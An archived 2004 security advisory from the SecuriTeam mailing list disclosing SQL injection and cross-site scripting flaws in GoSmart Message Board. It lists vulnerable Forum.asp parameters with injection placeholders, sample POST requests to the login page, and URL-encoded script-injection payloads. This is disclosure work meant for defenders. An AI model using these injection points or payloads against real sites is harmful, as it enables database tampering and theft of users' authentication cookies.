

[NT] Multiple Vulnerabilities in GoSmart Message Board

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0045.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 10/13/04

To: list@securiteam.com

Date: 13 Oct 2004 17:16:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in GoSmart Message Board

SUMMARY

<<http://www.gosmart4u.com/forum.aspx>> GoSmart Message Board is a open sourced message board for the Windows operating system which runs under Microsoft's IIS web server. Two vulnerabilities were found in GoSmart Message Board ranging, a SQL Injection vulnerability and a Cross Site Scripting vulnerability .

DETAILS

SQL Injection (minimal risk, because using Access database):

The following pages and their corresponding parameters are open to SQL injection:

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

All of the above URLs can be accessed directly through a browser to trigger the SQL injection, the following page's SQL injection vulnerability can only accessed via POST request. Two sample POST requests

Securiteam: [NT] Multiple Vulnerabilities in GoSmart Message Board

that trigger the vulnerability:

```
POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.gosmart4u.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
```

```
Username=[SQL CODE HERE]&Password=1&Login=1
```

```
POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.gosmart4u.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
```

```
Username=1&Password=[SQL CODE HERE]&Login=1
```

Cross Site Scripting:

The following pages and their corresponding parameters are open to a cross site scripting vulnerability:

```
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript%3Ealert%28%29%3C%2Fsc
/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E%3
```

Impact:

A remote user can access the target user's cookies (including authentication cookies). A remote user can cause SQL commands to be executed by the underlying database.

ADDITIONAL INFORMATION

The information has been provided by <mailto:antipov@securitylab.ru>
Alexander Antipov.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.